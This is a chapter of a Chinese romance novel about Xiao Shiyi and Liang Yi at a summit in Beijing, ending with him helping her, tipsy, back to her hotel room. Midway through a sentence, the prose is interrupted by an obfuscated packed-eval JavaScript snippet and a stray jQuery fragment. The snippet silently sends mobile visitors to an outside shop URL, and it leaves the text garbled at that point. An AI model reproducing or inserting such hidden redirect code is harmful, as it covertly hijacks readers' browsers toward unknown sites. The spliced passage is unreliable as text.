肖世仪膝盖上的淤青,还隐隐作痛,看起来比周恒宇咋咋唬唬叫嚷的伤严重多了。
懒得安慰吃不了一点苦的小少爷。
她没忍住口不择言,周恒宇倒是没往心里去,很快,就和认识的人攀谈起来。
肖世仪百无聊赖等在一边。
因为腿伤,定做好的短款礼服没有办法再穿,今天上身的,依旧是条简洁款的抹胸长裙,白皙细腻的手臂随意搭到桌上,有一种如烟似霭的轻灵感。
方思凯呆呆地盯着看,直到手里的酒在不知不觉中喝光,他才陡然回神。
他走了过去:“嗨!世仪,好久不见。”
肖世仪对他微笑:“是啊,好久不见。”
方思凯又呆住了,不管什么时候看,她这张脸是笑是怒,都活色生香的,而她永远都如此得体,不管他说什么做什么。
“你还是这么好看。”他诚实地说,“听说你要去京里参加行业峰会?”
如今实业没那么景气,相关的峰会也不像前两年如火如荼地开展,渐渐的,像是给世家子弟社交的场合,再加上花一花培训经费的潜在目的。
真正做事的人都很忙,抽不出时间去参加这种活动。于是,周肖两家,也就是周恒宇和肖世仪去。
方思凯赶紧说:“我也去。”
周恒宇听见了这句话,转过头来说:“我不去了,我还要准备音乐节。”
方思凯懵懂地问:“那谁去呢?”
“当然是粱易,他现在最闲。”
这句话落地,周恒宇狠狠出了一口恶气。
肖世仪感觉自己的心,莫名被攥了下,说不出的涩意。
只有方思凯,在心里偷偷高兴,太好了,周恒宇不去,就是他和世仪的二人世界了。
—
出发去行业峰会的前一天,祝梦亭又来和肖世仪见面。
其实她大概能猜到,祝梦亭反复上岛,是为了想见到谁。
但那是别人的生活,她无权置喙。
她们两个人,读书的时候就互为搭子,她陪她参加party,她陪她一起上课,关系不远不近,在这段时间,不知不觉亲厚了许多。
可能是各怀心事。
肖世仪在自己的家里收拾行李,祝梦亭就坐在客厅追剧。她走过去看了一眼,是最近热播的偶像剧,她很少看这些,也就没有一起追。
祝梦亭又要忍不住说她,情感淡薄。
“听方思凯说,你们要一起去京市啊,可把他高兴的。”
肖世仪眨眨眼,难得俏皮地说:“我早走了一天。”
“你真是聪明啊。”祝梦亭看她将琐碎之物陆陆续续放进行李箱,招招手说,“可以了大小姐,京里什么买不到,过来追剧,他们要亲嘴了!”
肖世仪勉为其难地坐下,看电视剧里,男主角在照顾生病的女主角,因为睡梦中的女主喝不进去水,他轻轻凑过去,心思百般流转,万般斟酌,最终吻了上去。
“啊啊啊啊啊啊啊啊!”祝梦亭尖叫。
她知道肖世仪大概率是get不到的,也没有试图去寻找共鸣,然而转头望去,肖世仪盯着电视屏幕,愣怔出神。
这电视剧拍的是不错,连铜墙铁壁都被打动了,祝梦亭满意地想。
隔天,肖世仪乘坐早班机抵达京市。
她是坐头等舱出行,因此,直到峰会派来接应他们的司机提起,她才知道,她和粱易坐了同一班飞机。
商务车车门打开,粱易姿态闲适地坐在里面。
不知道是不是错觉,离开了北港,他在外人面前,更加自如和轻松,和司机一路闲聊时,也很幽默风趣。
肖世仪将包放在腿上,神色淡淡地听着。
余光不自觉瞥过去,扫到他闪耀在日光下的侧脸,高高的眉骨下一片阴影。
关于他的事,在问过周恒宇后,其实也不难打听。
高高在上的周家三小姐,爱上了一个不被家族认可的男人,毅然决然放弃一切,奔赴爱情。只是不知道在红尘俗世里走了一遭,她有没有后悔。
肖世仪出神地想,她和肖倩一样,都勇敢地追逐了爱情。
可是爱情,让人冲动,改变,对抗,为什么又让人粉身碎骨,而不是重塑金身呢。
一直到达酒店,她都魂不守舍,和人交谈时,嘴上说的,明显不是脑子里想的那句。
和粱易在房间门前分别时,也飘飘渺渺,如一阵轻烟闪身进了房间。
粱易停在推门的动作上,回想了一下她的若即若离,酸涩地笑了笑。
接待峰会来宾的酒店,位于雁栖湖。
山清水秀,初夏的气候适宜,打开房门深吸一口,都是充足的氧气。
峰会在下午开幕,结束后,是欢迎晚宴。
一群膏粱子弟,根本不关心主办方和相关高层的提纲挈领,只想攀交情,谈社交。
会场是按省份依次就坐,肖世仪坐在粱易身边,偶尔走神的时候,眼珠轻转,他都听得十分认真。
等到了晚宴,粱易依旧如鱼得水,和人交谈时,面上带着恰如其分的笑,竟让他有几分矜贵。
和他交流的人大概是旧识,提起青市,也是侃侃而谈。
粱易笑说:“是,现在发展很快,多亏了上面扶持,也是政策好......主营基本上还是航运,地产嘛,主要是开发度假酒店。岛上有一家不错,您要是想去的话随时联系我。”
他难得穿正装,衬衣扎进西裤里,西装外套搭在臂弯里,另一只手端着个高脚杯,惬意又自然,是肖世仪完全没有见过的模样。
她忽然觉得,也许他们,低估了他。
对面的人视线一偏,看到肖世仪,端详了片刻说:“这是肖家的孩子?”
肖世仪正色道:“是的,叔叔您认识我?”
“嗬,我在青市可是发展了好一段时间,和你父亲,周老太太,都是故交。你父亲身体还好吧?”
肖世仪说还好,多谢挂念。
对方又扯了几句忆当年的往事,粱易句句都接住,蜻蜓点水般回了话。
话题结束分别时,他的视线在两人之间转了转,忽而笑道:“听说周肖两家也是好事将近,郎才女貌,般配般配啊。”
空气忽然凝滞了几分,意识到对方是误会了,肖世仪杏眼微睁,否认的话含在嘴边,奇怪,就是说不出口。
对方笑呵呵地说:“长辈的眼光还是毒,我等着喝喜酒了。”
粱易引着他往出口走,轻笑了声:“我配不上她。”
“谦虚谦虚,我看合适的不得了......”
他们说笑间走远了。
宴会厅随处可见的青瓷花瓶里,插着广玉兰,大团大团的花瓣,芬芳浓郁,让她喘不过气来。肖世仪随手端起一杯酒,静静喝着。
方思凯在旁边观察许久,终于走上前来。
“你别介意,我看谁敢胡说八道。”
她抬眉看他:“介意什么?”
因为她随意的一睨,方思凯长大嘴巴,呆楞了片刻,意识回神,又赶紧闭上,吞咽
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622808|205283||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了下,说:“他们什么都不懂,就知道拉郎配。”
哪个没眼光的,把这么娇嫩欲滴的肖世仪,和粱易配在一起。
肖世仪收回目光,只是喝酒。
方思凯急了:“你快别喝了,小心醉了。”
“我乐意。”
他又一次呆住,半晌,才说:“你生气也这么好看。”
小小放纵饮酒的后果,就是头脑有些发蒙。
她没有再理会神神叨叨的方思凯,走到露台边的沙发上坐着,闭目养神。
这种宴会用的香槟酒,并不至于让她醉,但冰凉的酒液入喉,像风拂过玉兰花,颤颤巍巍,飘飘然。
耳边的喧嚣声都渐渐远去。
梁易送完人回来,一眼看到歪头靠在沙发上的肖世仪。
阵阵凉风吹过,她就露着半边胳膊睡在那里。
他微微皱眉,走过去俯身,轻拍了拍她。
肖世仪动了动身体,并没有睁眼。
“你醉了吗?”粱易的衬衣袖子已经挽上去,露出结实的手臂线条,手悬停在她的腰间,并不用力,“要回房间吗?”
肖世仪温驯而柔软地靠过来,点了点头。
她看起来晕晕乎乎,一路跟着梁易,上了电梯,全程任人摆布的样子。
这个时间,大多数人仍在宴会厅歌舞升平,酒店内静悄悄的,她的身体紧靠过来,隔着轻薄的布料,他与她相贴的手滚烫而黏腻。
走进电梯的时候,肖世仪踉跄了下,他只得伸手拦紧,又抽出一只手摁亮楼层。
有微弱的呼吸声,扑在脖颈处,那处皮肤瞬间绷紧,粱易微微侧头。
她正表情懵懂地扬起头,因为他侧过的脸,柔软的唇一瞬擦过他的唇角,粱易彻底僵在原地。
是不小心吗?
她看起来什么变化也没有。
算了......
终于走到房间门口,梁易抵住她继续向前的身体,低头问:“能自己打开吗?”
肖世仪摇摇头:“打不开。”
“房卡呢?”
她还是摇头:“不知道。”
但她紧紧地攥着手包,梁易犹豫片刻,试探地拿了过来,她倒是没有任何挣扎,立刻就脱手了。
手包里只有三样东西,房卡,手机,和小金鱼。
他送她的金鱼,被她用红绳串起来,任何时候看,都金光闪闪。
情绪好像在一瞬间,被人用手轻柔地抚平。
房门打开,肖世仪摇摇晃晃走进去,再次摔进了沙发里。
房间里有一股女生住过的香甜的气味,散落着她的衣物,梁易不敢细看。他将手包还给她,凑近的时候,她一把抓住他的手,贴近脸颊,喃喃低语:“好凉,想喝水……”
手凉吗?
他不觉得,手指尖明明是一团又一团的热气。
他给她烧了一壶水,倒好,放在桌边,想了想,又递到她嘴边。
“能喝吗?”
肖世仪懵懵地抬头,嘴巴无意识微张,他控制不住扫过去,只觉得唇形饱满,弧度明显,软乎乎透着淡淡的粉。
她甚至又在一下一下,轻蹭脸侧的水杯,不可避免地,带到他的手。
寂静的空间里,耳边怎么会有琴弦断裂的铮鸣,梁易一下子抽回手,简直是落荒而逃。
房门缓缓闭合,把一切声音重新隔绝。
肖世仪一条腿折起来,脑袋枕在膝盖上,有淤血的地方还隐隐作痛,她盯着面前那杯冒热气的水,唇角轻轻上扬。